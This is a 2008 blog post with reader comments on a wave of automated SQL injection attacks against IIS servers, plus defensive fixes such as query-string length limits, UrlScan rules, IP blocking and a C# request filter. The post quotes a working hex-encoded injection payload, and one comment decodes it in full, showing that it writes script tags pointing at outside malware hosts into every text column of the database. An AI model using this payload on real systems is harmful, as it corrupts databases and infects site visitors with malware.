Rick Strahl's Weblog  

Wind, waves, code and everything in between...
.NET • C# • Markdown • JavaScript • Angular
Contact   •   Articles   •   Products   •   Support   •   Search
Ad-free experience sponsored by:
ASPOSE - the market leader of .NET and Java APIs for file formats – natively work with DOCX, XLSX, PPT, PDF, images and more

Recent SQL Injection Attacks against Server


:P
On this page:

For the last couple of days I've noticed that my server's been inundated with a huge number of unwanted requests. The requests are firing what looks like SQL injection code against the server with a huge query string that tries to execute code on the server. Requests look something like this:

ShowMsg.wwt MsgId=2DD0S8MI5';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686
172283430303029204445434C415245205461626C655F437572736F7220435552534
F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69
643D622E696420616E6420612E78747970653D27752720616E642028622E78747970
653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206
F7220622E78747970653D31363729204F50454E205461626C655F437572736F722046
45544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040
542C4043205748494C4528404046455443485F5354415455533D302920424547494E20
657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3
D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D
22687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A7322
3E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F7
4206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22
687474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020
5461626C655F437572736F7220494E544F2040542C404320454E4420434C4F534520546
1626C655F437572736F72204445414C4C4F43415445205461626C655F4
37572736F72%20AS%20CHAR(4000));EXEC(@S);

The attack is broad but the content is definitely gained from some previous spidering as this attack is using proper query string values and is hitting a wide swath of URLs on my site. It's hitting ASP.NET applications as well as some of my older West Wind Web Connection applications which is where I noticed this problem first.

Although I'm not terribly worried about these attacks actually getting into a database, it does end up hitting applications and so wasting CPU cycles and returning bandwidth that is effectively wasted which is annoying at least.

It also appears that these SPAM requests aren't absolutely slamming servers at least not on my end with requests using typical robot intervals with no more than a few requests every few seconds. It doesn't qualify (yet?) as a DOS attack.

Apparently I'm not the only one getting slammed. A number of other developers have been twittering all day about large swells in logs files and sluggish performance of their sites as well so this is fairly wide spread.

IIS 7 includes some request filtering tools which correspond roughly to what used to be the separate URLScan utility. The above would be easy to filter based on the fixed content, but unfortunately the <requestFiltering> feature of IIS 7 in ApplicationHost.config (in \windows\system32\inetsvr\config) does not allow for URL string filtering.

What I did however is count on the size of the above being rather large and setting up some query string length limits with the following setting in applicationhost.config:

<configuration>
  <system.webServer>
    <security>
      <requestFiltering>
        <requestLimits  maxQueryString="1024">
        </requestLimits>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>

which filters the query string length at 1k. This is probably a good idea anyway, unless of course you have applications that generate extraordinarily long query strings.

With this in place the caller receives a 404:

SqlInjectRejected

This is obviously not a very solid solution - as soon as a smaller query string is used this approach no longer works, but for now this works to keep these request from reaching any application code and waste CPU cycles.

There are a few other ways that you can filter such as not allowing encoded text (kinda risky if you have many apps on your server) and not allowing upper ASCII characters.

If you're using IIS 6 or earlier you can probably achieve something similar using UrlScan on which the IIS  7 functionality is based in concept.

It's really disheartening to see this sort of waste of energy - on both ends for those perpetrating these attacks as well as the hassle of having to prevent it or at least fend it off. We live in shitty times when this is somebody's way to amuse themselves.


The Voices of Reason


 

DotNetKicks.com
August 09, 2008

# Recent SQL Injection Attacks against Server

You've been kicked (a good thing) - Trackback from DotNetKicks.com

Peter Bromberg
August 09, 2008

# re: Recent SQL Injection Attacks against Server

These are actually pretty sophisticated. If you take the hex and change the EXEC statement to "Print" you can play with their SQL and see exactly what it's doing.

I've found that these emanate primarily from a few locations, and by simply putting those few IP addresses into my banned ip filter, I've seen the attacks drop to zero.

Andrew D
August 09, 2008

# re: Recent SQL Injection Attacks against Server

You have to wonder who are the sad, bedroom-dwelling programmers who have the time and inclination to write such irritating dross. Fortunately I've yet to meet one.

Nicholas Piasecki
August 09, 2008

# re: Recent SQL Injection Attacks against Server

We've been seeing these too at work. URLScan catches some of them, and sometimes our DDOS filter kicks in (our Web app will only allow a certain number [very high] of requests from the same IP within a ten minute period), and then I just look at the logs periodically and blacklist the IPs.

It all reminds me of http://static.flickr.com/40/98899692_c772c5cbdd.jpg (Far Side cartoon).

Roboblob
August 09, 2008

# re: Recent SQL Injection Attacks against Server

I have been having the exact same issue with my website.

I handled it little differently, i added HttpModule that checks QueryString for common value in attacker requests ';' and if its there it returns an "401 Access Denied" response to the attacker.
I could do that cause i don't use that character in my query strings so its safe.

Also not a long term solution but a quick-fix that actually helped.

IP filtering was out of the case, cause the attacker-zombies addresses kept changing.

anyway this is a major waste of bandwidth and cpu-power i hope they will get caught and serve a long-term sentence without internet connection in the prison cell :)

Alex B
August 09, 2008

# re: Recent SQL Injection Attacks against Server

We recently have been experiencing this as well. Here are some links describing it.

http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx

This article explains how the attack vector works, how to find affected records in a compromised DB, and how to mass-fix the affected records.

http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx

Dave Ward
August 09, 2008

# re: Recent SQL Injection Attacks against Server

Same here. I've had thousands of these over the past day or so, on the server that I host Encosia on.

It's especially pointless against that server, since it's not even running IIS/MSSQL and the .htaccess bounces the requests to WordPress' 404 page sans injection string. Unfortunately though, tt does hammer the CPU to generate that fully templated WordPress page for every 404.

Very annoying. I'm glad I switched hosts last month. My old one would have never handled the added load.

justin
August 09, 2008

# re: Recent SQL Injection Attacks against Server

Been hit by these kind of attacks off and on over the years.

Even had people try to use Contact Page as means to spam people.

I strongly suggest getting something like Fortinet FortiGate, it catches most of stuff like this.
Also do URL request checks on length and other odd ball stuff that would be illegal for our site.
In both cases the connection is just dropped. I see no reason to tell the person or computer on the other end what is going on.

If these people would spend their time doing productive things instead of this crap they would be rich and we would be less stressed.

ejr
August 09, 2008

# re: Recent SQL Injection Attacks against Server

Ahh yes this is super-fun stuff. We had this hit our sites a few months back....what it does is it tries to inject html (an inline frame) into any text fields in the database. it appends it to the existing content. this iframe then points back to a fun little site that can be used to attack every visitor to your website.

This actually effected a LOT of major websites a few months ago...

your current 'flavor' looks like it has been fairly ineffective...google-search for "sdo.1000mg.cn" will show only a few effected sites (~500)

last i saw it was coming at us from at least a dozen different ips that sit in 3-4 different countries....

anyone wanna guess which countries?

William Plander
August 10, 2008

# re: Recent SQL Injection Attacks against Server

oh, that was just me...throwing random Foxpro Blobs at your server, see if I could screw something up....LOL

(...i am just kidding)

Matt
August 12, 2008

# re: Recent SQL Injection Attacks against Server

My clients have been seeing these for months. And so once again I get paid to help clean up and patch code. I should send these guys a cut. But no, seriously, it's really been getting aggressive the past couple weeks, to the point where they're scanning multiple sites on my server at once all day long and making a measurable impact. Plus it floods my monitoring scripts with so much garbage that I have a hard time looking for real things.

Norbert Ruessmann
August 12, 2008

# re: Recent SQL Injection Attacks against Server

I had the same problem recently. I put the folloowing code in Global.asax.cs. The advantage: it works independently of the version of IIS used, it even works with the web server included in Visual Studio.
The attacker will only get an empty page, no error code. But for me that is sufficient to reduce traffic.

   protected void Application_BeginRequest(object sender, EventArgs e)
        {
            HttpContext context = HttpContext.Current;
            if (context != null)
            {
                string queryString = context.Request.ServerVariables["QUERY_STRING"];
                if (string.IsNullOrEmpty(queryString) == false)
                {
                    if (queryString.Length > 500)
                        this.CompleteRequest();
                }
            }
        }

Kevin J Baird
August 12, 2008

# re: Recent SQL Injection Attacks against Server

Scott Hanselman just blogged about this issue as well. <a target=_blank" href="http://www.hanselman.com/blog/HackedAndIDidntLikeItURLScanIsStepZero.aspx">Located here.</a>

Rick Strahl
August 12, 2008

# re: Recent SQL Injection Attacks against Server

@Norbert - the problem with doing this in your application is that it only affects your application. These attacks are going on server wide, so using a server wide mechanism is definitely a must.

In IIS 7 this is definitely possible if done at the root site and propagated down. But for the query string length IIS's applicationhost.config will do the trick without any code - more efficient and easier to maintain.

Norbert Ruessmann
August 12, 2008

# re: Recent SQL Injection Attacks against Server

@Rick - You are right, but I use a web hoster. This way I am independent of the version of IIS the hosting provider is using.

Shan Plourde
August 12, 2008

# re: Recent SQL Injection Attacks against Server

Hi Rick, we're still using IIS 6, and this issue was really bombarding one of our websites - we were getting about 2,000 - 3,000 injection attack attempts per day. We opted to setup UrlScan along with Microsoft's recommended SQL injection rules, although we did modify them a bit. The .NET errors that we were logging were completely eliminated with the UrlScan filtering.

The nice thing about catching these issues at the IIS level is that you don't have to waste ASP.NET process resources as well to handle them, but I imagine that a tool like UrlScan does require more CPU utilization.

In any case, should some attempts pass those rules, Dan Wahlin’s article http://blogs.iis.net/wadeh/archive/2008/06/24/urlscan-v3-0-beta-release.aspx suggests setting up .NET HttpModules in your request processing pipeline as well. Some coding approaches can be found at http://forums.asp.net/t/1254125.aspx.

Rick Strahl
August 12, 2008

# re: Recent SQL Injection Attacks against Server

@Shan - UrlScan is a native component so I suspect it's pretty fast and not overly resource intensive. It's worth doing that if the need arises for sure.

I'm still very wary to have .NET modules that look at all inbound content and so these higher level tools are defnitely preferrable.

Chris ODonnell
August 15, 2008

# re: Recent SQL Injection Attacks against Server

Shouldn't the WWWC_FILTER_UNSAFECOMMANDS or the wwRequest::lFilterUnsafeCommands switches handle these requests? I see an EXEC in the parm string... would it have to be EXECSCRIPT before it was dealt with?

Jan Le
August 16, 2008

# re: Recent SQL Injection Attacks against Server

Hi Guys,
I have also joined the club :-) Plenty of errors in my eventViewer's application log.
I have blocked them on all: IP blocking, querystring length in web.config and on detecting the words 'exec' or 'declare'. I have decoded their string, it says the following:
DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www3.800mg.cn/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor As you can see, they try to make a useless table and apparently want the user to visit a website. When checking the website .js file, it leads you to a japanese website http://count41.51yes.com/, that tries to infect your PC with a virus, using document.write(<iframe>..etc).. the classical one..
Best Regards,
Jan

Anonymous
September 15, 2008

# re: Recent SQL Injection Attacks against Server

Surely even 1024 is a bit long for a QueryString? If you're generating strings that long in normal use, something is wrong somewhere.

Robert
December 15, 2009

# re: Recent SQL Injection Attacks against Server

It's really disheartening to see this sort of waste of energy - on both ends for those perpetrating these attacks as well as the hassle of having to prevent it or at least fend it off. We live in shitty times when this is somebody's way to amuse themselves.

Don't kid yourself. This is being done by professionals who are selling data and organizing attacks for blackmail. The era of amateur hacking is largely over.

West Wind  © Rick Strahl, West Wind Technologies, 2005 - 2021